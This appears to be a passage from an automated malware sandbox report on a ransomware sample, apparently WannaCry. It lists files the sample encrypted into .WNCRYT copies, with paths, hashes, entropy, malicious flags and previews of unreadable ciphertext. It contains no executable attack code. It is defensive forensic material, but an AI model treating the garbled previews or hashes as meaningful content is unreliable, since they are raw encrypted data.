                                                                                                                        Preview:WANACRY!......./.|...)..<..^P.......k.?..a..].f...<w..]!._.c........@S~fR..x......?.Y.#...4r_. .....7.....p.,....k<.G..~lU%.D.......nh..vx....%.u0........C.../....ypG..CN..%...~a...1. ..........w.k.V.....6$<=...y.%....]..k.qK.9.cS/..{..2r.<.g...+....`G......=......0.e\m..s.>@^.2....&A.............sg.8*Un:...%.E....E...6u}"/o..i......^.O.?.#......Z..c......{.-s...C...6.t....3.(..bl....H.6...K.q>..I.......8^n...(...Y.w[.).9......R.;.t.rt-.2.Y..GY...q.....=.........wGHX..j.c.txrs....jP.+N1.^Hv-."......\...gT..~........F}H~`.2...R...A...8.`.#.`1..;..(..."...B.a.....K.n...}..+."#..6..._......ZH1.J.3..a3L..5..?....U.JY`D..w.?.c......8.$.y-AL.r^[q....N_F.m..@.O....U.6.....1...y.......g.1..].UYp.E..l.f.v........[. .vZ.).w,..!.a.tbz-.g....5.e..T..#..jw...O.... ..-C..i\.w..!.DH.Px..5..W...L0.V&.4\:.ZS.i~dT=-.kDB...*..Op.......i/.:.#.f.Z.uQ^..p.E7.M.a....5%.....P....bHM.'(..drK./j.0.KR..x...7.{.$.4\..n..l..&%....$^.dkg.ay.....C...;....j)".....{........T

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\ikpPfkLjP14eKCzM16ksiFVp92Y.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):12392
                                                                                                                        Entropy (8bit):7.983713113523387
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:5Sc0RBvGdrfcwUIqjK+J6omDldelZFP2VoLPaC6JQ+w/mnYV01do8yTRUDUgW1zX:5mWtgjeDG7182aCBROnYW1EUbV0n
                                                                                                                        MD5:1799B1A036C718172A488389883369BB
                                                                                                                        SHA1:9FA8C7731D0EFBDB62EF4AA1F7E31AB76531BD72
                                                                                                                        SHA-256:94406474354DF14C6A7D87660707FA209A4DAD78898BD87B8CE94499F693FA28
                                                                                                                        SHA-512:0A2A1C0A62AB398CF6920FB278DE2F4BA2B89D2252AA453AC9B17512D8D0E24A990A800F1F6C029B969AEC597065EDEA28082A2876D62CB62E6AEB97215E8650
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......z.m....}..N.>.....l-..TN.......N.:..zi.yY.J[..h....q.H...;.i..r.0...j..5pk.n.E.8=H.,.A..........'.|$j/5O..B\.....L..-1n...Ri...F...k..=n.np.B..z...j........k....%..To3\qv.d/...l%...:.oK.x..b.[p.t..S$...>.......iy._9.."Ba0..C.@...%..>..... .Ro....O/.............3.e..J>..3Er..].Y'T..Z.].yg...VY..>#.3../.... .Y.....(...[..}/...=l....N.=$..<..>... s#^.N.3..."..}.........h......w...I..eo.>R.k....N..W.-F)".m+#.o.5.-/.]!.a.......p....Z.&.Wh...H0..9.!.7..AmD0|.....w-D[.v.g.~..hHj..gR`9qD}..Z.....0.C...C....U..X......iK....!X.0..0Z...4....j.v.I.......V....h.?euJErq@..~3l). [..yw...z...k.....b...:Tr%d..XT.A......}..g$..+ni~..De'.`....7..-.yv[z.-....&...G..~to..7...qO...0N.-h.'....#....[;..7............>..D.".......g..}...7.YL..S.~.G..j.-.N.q.-,.}3rG)..9.....p....A.....W=..A}....../.F....r......X}.E..4.....VSi..*...;...l.r.D....z...&;=..+3..)Mz.....ef..2E.-..#(.~.%u..^...y.C$...Sw.cH.8........I.z(.\..2..|.x.;s.j..P.R....w.<.k.fz...F.@....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\kASu8CT_wPE-ihwPScjc5oqjx4k.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2504
                                                                                                                        Entropy (8bit):7.93250304351997
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkZllkMAFTCX9vdZelbOhZMgdRwL3g7yabZtI7i48Y37EYzPi3i5+hygSEbzX:ofSMAFCD+2ZMmRwL3pyZtS8wQ2ONygRj
                                                                                                                        MD5:BEBDF3F83261AD7935645FAAFF69ACC7
                                                                                                                        SHA1:9AFE050D01100E6D5732CCC88A2453BE7EC7EBC5
                                                                                                                        SHA-256:5EC410E5ACC0B3F197490A6F484B06559D2D4D6CBCB850CFE45238750E5D56E0
                                                                                                                        SHA-512:27324C78CB9E7A75B382314492621562137C946D6AFF60C86FB9B98997AC63CE45E41FB30579FC05ED9003EE4040E8397856E917F2EF9DFB84DA9B878CCC1D95
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....m..zJ.Xu....10_f...W.d.^.2...Hp...g`A../..BB.3.@..3...H. . w..g|]^Vi..yy...$n?..!....p&..:.Lc'........v..H.qp.F.....#.....K...3bZ:.C.lla.-....y.At8.=...G..f..o.....C#}\...F.2......g.........H..]BR.....}l+A#.6d\..|I......f..M.'..7.|M7.QJx.;..6.f.._.............{I$..LUP...W?!A.$.......F.@E..0...}4.......W..E...4..^..wb.*.@.Z...@{G..M.A.. .....J..U+..5F...b.zN.0...4./.7..y*,.=.|...X.A9fG..f...P*...[.....*.QINiN.V.I."...YxY.."'#.1.$..flz.-...tF.n6..<U...-..d..q.).#5~&.....r(R:..F.....^^........B.........eMj.V..CE.tS.....h.....,.R.4.....V(..7....B.T.......F.?...y..2.(.Y.-}.X/.=:%"Q.2'.~n.l<../C.3D..{0...:l....ti..9....,.GT.y.2...,_^.L...A.1.O...[...1..;Y........".v.#..Ft.M.>.....O!..I..1.........Q...l...K..!...v.w....g.."...IfA?*j(.[.`@f..-.VC.=~.../.._.8.u({.Vf/.N....FU^..q...p...3aT. .d[.owa..e.M.#.........[..,....|...{..1 .......".}..o....'....|0............z.Z..g.5i.v..>:.Gw........b...2......k.... ..m.P.v1..K...Eq....&..N...>.o....Y3

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\m-lQLSxjXM9gX5KMd_xjJ2nkZOM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):21016
                                                                                                                        Entropy (8bit):7.989296029737458
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:4D1VMThgA+0SZC7OlAMCWtyFjnFfg6Hc7tAbdmr2xbxCd6dX1J:4DgdAtYOevFjFi7tAd5m6dX1J
                                                                                                                        MD5:074B4367CB40DD40377318B4E212ED9F
                                                                                                                        SHA1:99FDF5B6B9673407A1934A34422C741C6678723B
                                                                                                                        SHA-256:24C64954CF90B6C5C46C0E9A49CAC9E17907F7C4AB0AB974D6FE2BA75F1A4745
                                                                                                                        SHA-512:BF99E132F4D03F95D6C63BA3885E11A735D5F857BD93B3E7D935086CDDF8E7B3557FBEA083FC98B3D7291394482F4BAD58CADB5085FF4D7709CABCC70B22FC4D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....:.*``{jUS..Rx.{yK.&.#G..n^.r.....?..F...4!.;1.7~......6..Jf>.(q.....2...8..Q] 9..)K...$r!.O.E,F^.H....Vh....r...>.PU....Yu.,R..s.a...L.].Q.%....tW..>z.L%..h<..)%...i..]g;:e.AM>D.g;8...n.......l...M...j..T./..7.w.e8*(....3{....S.....1p..{LD}<.....P........[l7J.T3...#..hN..f....u......|r..7(....l.K../.s..v.3"...C.=.m{aYL....^B..W..UR..U95.R..@.'_.../MG<.q.@. .A^...}..m...s.lz.@..s)Ng....T.([f..4.x.....^......z.w..y.....t.&"*.7.+X@..-.....m%...X.]......'..,.).oD.x....9...>.;.. ..p(E@%.H....K.,fl..>...dv.4=.c.S.5..$.-....s.u <.u.....Y.... .C..=A%.k..+.......8.....M.pe)....m...(>.X;.4Z:..;.D.....Z.j.B{c.`q^.Yk;.>HN.9....e4.\.\<+.?.........a8...S.$b..q...3nWM...A..wk....c5I#5.@?.f...}.iqYF....w#Q;....~.m.w..gb...7(q.qzW!..#.....N'..9%9v.L......u....c(-%..}. ...G.!....ytJL_.+...,t.....F........m.....@.'...-.R.sD7.7Z......[#...Y.a.....l.....'.......{sK.f..=WX.Hg...%@.BT.e.wt.:vU...!.0.X....e.r#.&.....}...hJg..D..=.....G#...>'F.3..}."..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\np0paBSLyAHLG2Bkt68rh_wAizM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3192
                                                                                                                        Entropy (8bit):7.936056457599372
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkeoMy5GnVE9xMrGBi1T80zQdoL+y6rtRK1hnyaahaf2FocVAcpOJQuQg0cr:oT0VEyyihOoiy6rvQy1a46JQpg7
                                                                                                                        MD5:DB798294FB9C4E1F4ACE7BE81D157DC2
                                                                                                                        SHA1:36CBEBB773E3202C4EFEB36001DEECCDC6FAD2C7
                                                                                                                        SHA-256:DCEA67330E3EE64CF31254F3FBB8A5E0FD178841D219194058521C77861BFA4B
                                                                                                                        SHA-512:6EE946E621C713CA8553DE5F05A671B07CFC730048545DBA65539CA3F9884CA71B67EBB07E57F569D8B865A78E8BE88F6A97B0C4D20FB99ADE8B524AE31BB9EF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....MLHZ...Fz.$L_..).t.M....3(#w....>........>..p..;..v.z.k..(d............rr4..;h...V.7....S..}..!`!..D._.!..T.....a.a....w.7M. +<..%..6..Y.Oy.h...d+~K."...W.!.q.+.3..........*k.?i...t....-......A....P.d$q.'=H..Fx6...E...#......j3..#.u...DJ....X........pI......0...0.^.. ....=..h.L.Tq........>iVr.).......".......3|.m.............M.Xo...M...q...H j.o....)Od.4.$.|..Z.......v?z.8..v......,..Q..3..%.h..H/....f..._....S.}.....W.k..T...:b......5=AhcX..4)U@.dgP..uMv.z...........8....B.O.b...tsLj.....D.C.-(Ih[(......Z}..].?...L.a....h.I.......<0B..'=...\.+....!.P.W...{..b.[g..w.(..#..l...z.-._..w.qc...f..b...`.V.4.q->..%'...Q'..~...:.?Zn..HHV......w..xZ...n....u...tve8.ng.h.w".#.1.{..Z.dB.......~.k.'.&7.FZ.a..#_.A.T....n.%....zuZ.1..A.<.....c9}...4.....:U.....=..*q...Mz..v'.....Z....*@'......h.._.*...!@.ybp..|.u.........".RK..;g.'...= .q!'}.X.hI..Ll.|g+.|.je...B..5....M...[%...^M.5.~V....N,.....%..@.jo..z.<.... ....rd.C.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\ocVwefBywNlFIk_znEkIhQTcXYo.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1880
                                                                                                                        Entropy (8bit):7.901564124264666
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bk1ydScdos4dRWGHtDfjxTXvvBw4pboLMhnJWKNAQKRpL3O:o1yvoVi4ntXvvO4pboLMhnZaQ0y
                                                                                                                        MD5:EEE396FA6A986657A86472045A0A9B7E
                                                                                                                        SHA1:FF3423F11264286418A0009DF8CB8E531E411128
                                                                                                                        SHA-256:54A5DCF5D529AA73F606CBCE9E0A0FF31756596B03EC79ACA7DBF587BAD66A8B
                                                                                                                        SHA-512:FF08CDAB8F79B851C88DBD67B9D1CC2038B89025966A8273C745110DAC1C3D0425429B17671BB1D24387F150922A0FE8A5C9EC4E2684189071998F45F2F78001
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....G*L*..QmE.`J...-!:...1?s.`."....0.....[5P../..'.w.....|@V.y~L.Wh...=..........7..#...w....n..`.!....".b..........h.....g..>i."..Z..^...;R..\.Z.".>A...'..S.D+.|.Y....t!aD...1..Q._.N%U.%?.X........I..0.,...i.a.......=iv.`.......u...F......z..J/..C....3............\.*WF.-..t..:......B8.`.a.M.rl...~..q.....?>....d...0WL.Y.2>............,.n.......h.2>.1x...3)..>a..[.I.sP.B..V......tY....;..V?..(..j.^H..v...y....k.."J...Qkd...Y..J..;..F0.tn...i..9y.0c.....:...Y...&.....R|(s03.`.}.....Z.....r.*a/..c_0f.f.zs.0...=P$.' \...+.!.A...i...Ga.......Cr..AZ<W#.['11k....Yy0.4...Q...2....ZS...V....f`5s.9^hJ......u...U;B...k.BT..) [3..+b:..^./$.P..D..,0~l.....q...`...o...5a?..2e...C>)..Z..4T.tt.......@.d....I...WK.A....$Qm.-...W4pB.<f\..\q.[1.O.O.-(......L..@o.+.tJ.!N......L....F<../S.d..ef..g..@R+Z.7..l..y...<|}.....?..m1.A+-j.{.....B.6.......HyL.k..>.".pS.e\.~P.[W7.".MoLZC...R.]m.%E`b.1.o..F.z..%H..a.'.d...Q.L..$..q....q....w....b^.`..2.'u..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\oeXXrL-wI374jtxoG_HJaezabNo.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):131880
                                                                                                                        Entropy (8bit):7.998722117559423
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:UoquL31sgR62BKp6L796Jz+1Y1B7YoXD4qe2L:UoquLK+pk6P9g+8B1He2L
                                                                                                                        MD5:88A858808A75E15F7859B024BB465220
                                                                                                                        SHA1:8020E66D90ED772E01F7FC4F0BCBC09A643D2E2A
                                                                                                                        SHA-256:7C29803A177406C55EA21EEC90263A11171AAE563A590A448B6E3797BBC8A625
                                                                                                                        SHA-512:ACB011457E3C14EEBA6E34BAFA4E37F1B1A6253BC0A540184F01EF3B5801A745C9404DC940345BDE73B0EF038D1B7E08E62155C40F16061679F7226DA62D296E
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!........f..,1.b.....?....'J...h12h..qb..S.u...a..&E.!4..........Z_.....f..._...9)....B7.KQ...)..0...n.dm...a...*h`.$..G....E...Y.Y....k.....z...?....X0.........Q...y.2....0^Se.O....J.0.&....n.~.3.. .....,}.Q4X,......._...%b......mI...Y..q..o?..do..f.".............Qn.Su...+.6.w{..w....CF.{P#f......`.).,h.K.P.'t..}...~.."t."... .R..3.s..0.+.......^........Uc...7.4.*../z.g_..,*..."(on...1S...&.V...8.S*v..[yfJ.R.......")P..h..9@.....h.s.E...4...%.U.a;~....U......C.,nWNS..G..`(G...j..hn....q&.Xw....K...M27...vx.u....J.."..Z'f...1(......U.c+W.?.+n.>....2...c.2........%_...3.&....c).b.E*.=lz..j.[v..1..i.<......A8.tJWu..Y..g...o..%.y7.a.Zu.u...]S...w..1FM.?a...j..Q#..............K.5.....h..e.........1*.7....2.QJ../......?.i.........&;n..Kb.._,5...q...}u....h.:0....i.\........?...[..v...S..+.K^.....]..d![..{X.i..T!/r.Y.....BF.......K.#.....C.....\\.f.F..Z..2...........p..B%.f...8.CD..D......2Q.B..?..Y.;Gi...>M@.....-n...}..(......E.(..8m.!|.MsQ

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\p6wm2WLb8ijauB9Ev6BJn8A1qO0.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):105400
                                                                                                                        Entropy (8bit):7.998189946493868
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:REf8BWlda4JSMOLJ9Lble6/LcwfTGIlx4xzg1EG0bA8dj:ufR3toE6/L0ITKUyG0cAj
                                                                                                                        MD5:B5B17C3AB34E4B1D72378E49AB3BF985
                                                                                                                        SHA1:F82F0AF9B7BF91EE0A9C8D5D54099F8191A79DA9
                                                                                                                        SHA-256:7571B7F4A54312C9F19D459F1992F3B7176C2DB659B3585D0DE7E836227E8573
                                                                                                                        SHA-512:8EC0ECD11BD09F9BB417A7E088BE7EFF964E366B62D9106B8AE6C7CE1651399339BF1974BA9F90303AC6C10698464E37FE12A32C5DE5AD4015EC4000F0B16891
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....I..a...G...-....&.,!u.d....[..%`..p.l..V...xV.=m.Gq.a..nZj...r.}.. .K..hGb..!...+.#.L.....@=U.5d..I....yV?....{....-V....$..\.y..P^...]..G.2.....;.%..n.~.H..Q.@.b._........y...".kw........p.X...YYr.qf...51[I.n.Tz.8..2./..V.q:2.."......b_..............^..MZ..(.K...RC.&%#2..3.6&r..~...Z. .RZWs.OT...e.seQV....^.0"@5..X/7.... ....)a.w/.T.<B.:D.i...Y. .q.9.1J*........A....S?sS.<.....(\..g}`.......z_l.8.....fa6&:Z........K.....{.u)..97........DG.@..........? .h.s..g..J+T4N<.6.4.q.=5gbC....W'........S...D8...T/.y...G..Y.J..[....K:.U.N..~.z...=.c.d...... ....H>K....|..Z.sJ^.J...T6)..8.".f.S.O..Al.!:.sko.........-....?.s.q..}?.]..bU.....1.lr.)e.)...L*.....$_U:.rU..M.Q...dY..:fp...m.`?;..!.2......."j...!.t.+...L%G.../.q.mx..y5.vR.q..tm.Z>y....@...E.+.$Gq.I.....I.....q..}~...w...&......0......#..8.,.)......1..Z.....Y..e..u..U4..P.iu..N.?t....4.>*..C.......w.y.x.7.RD..'../5I}$...m.....@k...1X.;...!...:.......)..)hs...U....fq.C.R..5..GHL.Z..-.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\q11NvYzJks_3Zy5BRKPM9baeQ7M.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2152
                                                                                                                        Entropy (8bit):7.889591842349442
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bk+Oieamuz9qlwanZoHaHa3k7qzrkVt8SqDbHrpwSc4:o+jXqrnZeA3qFPXLySh
                                                                                                                        MD5:9BC875B032ADA8DF89DC59F18FDB9C8D
                                                                                                                        SHA1:1C450EC2BFA16E7DE9596B22F02D53035FE2CD89
                                                                                                                        SHA-256:9E6457F80E293A6219CF0CAFC2C71043C10D04DD8CB54703B90EAD1EFBA43501
                                                                                                                        SHA-512:28908C5C640EE5235D380041A7A22DC323A5FC45EBDD181A5396DB170A3E6A567991AF70FC50DDE50B0FACE6C20A16CF368B943B1A83ABC02375E25887984B0D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......:,.......%Km..e.c.).(.|q..uk%.QW..Y...w....^./...p.S*s.[.>....U...<..Pp...=J.>...?..._.D..v..M......9;H...?..2....s.+._.Tf........z%:.:....1..V%......P..|.Gm&..3bu,"...t.}...Zm.p..O.<...N..,.+..MK..?0.Z.S.L.."I.4....*2Q....,.......320E....1.....C..........v.:...t)..:.$K..{......).y.L8g.....i.{.{...".*.;*.......Y..m..`..J..j.I.?(P@...BH.(.Y.U.Q..M.r|...,.g.y..j.ZLy......_8..><.&..f.bR....g.....,?j......h.....4Z.f..u.....Wer.\....K....f...<..1.&:.. ...'.Y"sP......ej..7..L.....qm.>F`F...l...&...:."..^..).C.e`.R..+-.......3...B....ve..._........o..a7.A...g..*.'.....;y{.#.1A.,wTc.+..\.......a".:."q.........b.X.T.L..z...%!E.=.,.e/..R..I.f.XAJ..{j.}..o..{.TZ...R....)9...w!Gv-.....0.....UT8j..3.s>;.n:.4D.~B...Q....J.lr..*.O2..c.!.....<}. ....C....=.*..,....7...._~....zc.r.{....Y.....x}0)u...*?i/%.._.k..DK$5D.l..[.e'...o......4..6F..`.G.G...O...^...8.Q[ZR\....s.]...s1....{}.....l..S..-@..+..=<..f[...<a.XP3wo...[.Q5..>G9...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\qdqeXxV0K-pUf7kHZCeiMawV6a0.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1608
                                                                                                                        Entropy (8bit):7.864762191349937
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bk0VSpxoNkvSk8SCvRFeh/3oxW9J0lx4Rdjhr8kH:omSANbzRFeN3ochN8u
                                                                                                                        MD5:738AE5A245D8803F857C30A463E9C8F4
                                                                                                                        SHA1:2A2787B65176A5C33D07B69FCACDEA4C207D9A66
                                                                                                                        SHA-256:3C4157CC24FC7B5FD757B2756167C3A4B7A1EAD94009F69C30CF4F34C62CFA98
                                                                                                                        SHA-512:3AAB7D127192C892332F98913582C7DEA1A6638BB83DFC3C27ACE79D95D7817D36B119F1C7B25B545F7EFBDE454097C36755AE5D011654D18CE49D2E293DDF82
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......{..H.)H.G..c}bB5.Owm...#^....Na[..`U......9...]bZS.E.Fb...IA.R/......pu..kG*l...j(b....!;.?..g3q...... ...E..a....0...$.E. R.V2QU5...!..V=LB.......`.I..x...6.....91A.P...'..w..j..o...3...h......w.ba.`2..Q.^..x.p+.Fy.V...7..gt...jw...d.Ke..........#.........9..-h.....P.....X\:k#z..9.-y#C..L...Q8J8...."..N.Z>.. ..c.......7.n........x.:4k.'..(..r.<.X,.M1t%R..R&7#.<.cY.,v.....H.'....3.0....X..F........u...~Q...U.)(.....W>n....P..|..a&.......".6 .`...F..D...]...s.. {%...sg.....S>...7......6......@&p.....$=..4.G.DR...p...gX.@......w... ..D^Ew..s.....VX..B.4f.{.l.B.f.$..%......#h.A=.hn.M?.......x.?.@.8....JJ/..5$.P......C].(=...,.RI,...R.)%;..O....NQ.w........S.i.v.6..:...i..8.m.9.W.Q..O.<_...q..c.. ..]hOJ.L.l&........ui.g.h....fb...NB].{"&.(3..F9tq.@O.D.....m.[...q...l....$..6.vzJ.'.......\...jAK...41....}...I.,h!4fQ..v...._.'.1............_.....u[#.....".).....|.O.....}....6.....m..0`..'hIU.&G.c._..........d..,..F..3yT}....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\rUQ8SSsIzKcgb77SIOCfnAbpfB4.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):408
                                                                                                                        Entropy (8bit):7.416753474446242
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEHSIad9idtSZy09zPI9NFdzAPT+UqgwHMokPXeKlbvhS/YOHv27FtpkdzemsUB:bkEHGdwZyPqdUPT+kvXbog91mswKfk
                                                                                                                        MD5:C753D1DBAC9F5E4C56F058A076A56B8A
                                                                                                                        SHA1:66221A30318408D712164FC86CAFD5240C085FC1
                                                                                                                        SHA-256:514C07708D10DC260EB6BE437E16B9F749D76DAF662C2F28BC5CF84D0ED823DC
                                                                                                                        SHA-512:B658294C722A391ED001C759F10A0FF97030C4E9F794055680B23C23BA6DCC88587B084A3CBEB3215B24D43B6CFDCEFDC21A96E4FE3AA61EB3C8AE030B538752
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........|.D....y.`-wF6......(!y)......V...8..........R.!kt,/.,r....o.....N......L..X~"...O.%[...{.j.;*...a.e$...|D..a........[.Z..5..>..'[.........[7..g.e.E..H...bf].9.....C.......J...j.1.M...v.e.)...WA.I..m..C;..@..P8.6.2.......E..Z.a...RMv.'X.p.....q.........y.-...t..".......+.X0..=..D`...lj.<Cz(..8.E.AZ.`.._T.<..v...>3d..N>%.w.k3.5.....oz..=.q........0..EN3bh.. {#......*.a..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\rmFfjYta9S1_NqRdTdslSoz2gLY.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):374824
                                                                                                                        Entropy (8bit):7.999546788152785
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:2CPCMZt+WnMdFuQLnhuO0C1oKl1U/CSZI+5NRJsJteTe5VvqTTr12jHUhsRii8t1:2C3+dd3LnhzPpeZFNI/VvqCHJR+teadH
                                                                                                                        MD5:109D5D1667C5911E4A171C18CE614E69
                                                                                                                        SHA1:9116D22D430343D38D5CFAB93E482ED5DFE0E9FB
                                                                                                                        SHA-256:891912BB849494121D7E5C65C095451C0E0F1FDF913C45650D30AEBE296EEBB7
                                                                                                                        SHA-512:41CFBFF6A0C88E156D63FD4CA9F704207CE2A5AE363D6DA0397368B2D5A759A63B592C6D06916EE5AD3E8E5924FC5BF480A151D9D7B575F70052BBB82A3C9389
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....b...9Dw.a].X..K....ZJ@...z.^._.?]1Zj...M$.,q.!.F....3.J....t..b....M...F.....IU.o..A...?..}3b...Z6.y).{...$v..Rc..Y.Qo...}}U..?O..$5.I.%ZJ..X._.......E...L.PT9{.-...7i.`I....NaU.=.......RapM.b.,...[>.EP.!.m.<. .y.+.+{...JF.....t'...$..D.Z.............p........g...)N...3}!....Q..z.t.0{.'.KW..akrg}`..YWTz..(.....5.T.............7...wD....n..^H$Z@..lRg..I.N....nc....h.....@.:.e.2...&to+.$....f.G.V...8...\3I..U..5....5P.........8>.....bh.]...m..>.".$.o.V..[..fnz*a.%~E...lH.......O>.D..:..~.i...X.2.....=.-.....m..1....T.z9.!.].0vbEY..Q..m..../.....j?.f.S(.h.../n.L.FP..9mO).%NJQ..=6.p.."....u6.....RYvX'.P:U.k M+.....]._(WGQ.2h.#_...b7.xfH/.@M.U.2..Z.1....Y.8.P...`.(.....M.....?JV+T%O....I..u..F....w..$.5w..6..ST...{O..W.v.Xs."..F^....3..[Td.D%XG...4..w7.1R.f.X...>i...7\b.+..N.54 9..i^..s....."c.x..`V{....\..0b.pn..........b..h[gj....u?A*.vj.S.g.R....g.$.S..!....h..,<.+Ey.......C:mjnY...x3..Ux#.z..n.:.P..5..........b?..p....T.....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\tJK5oPXXpeby95PeFrih7cRAiIE.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):11032
                                                                                                                        Entropy (8bit):7.981605234165909
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:pYdiimb/pH6NgFEBbL5i+mtGa3VOXVx2xGFg3mCTsxr5Obrd8JwjhcOYy4qFLQcr:z/8gFULy36Vx2xGWh4xr4bryIlQc5t
                                                                                                                        MD5:433E72D6744CD7588B88E23A8CE24B78
                                                                                                                        SHA1:D4E363867332720B6DB53174FF90CF674773C077
                                                                                                                        SHA-256:C3ACB35D8091C241257467F6C16DF2CDFBDE8312D5B5A1E6F5FEB449F1DCB7AE
                                                                                                                        SHA-512:2EB0F270278170F2BBC66ED5A442E6334416623EF574DEF4180FEB0B24229676F54CB5B848D2A08731F49A9045FB1D9C663AF575337257B89D69D2B2F516BBA8
                                                                                                                        Malicious:false
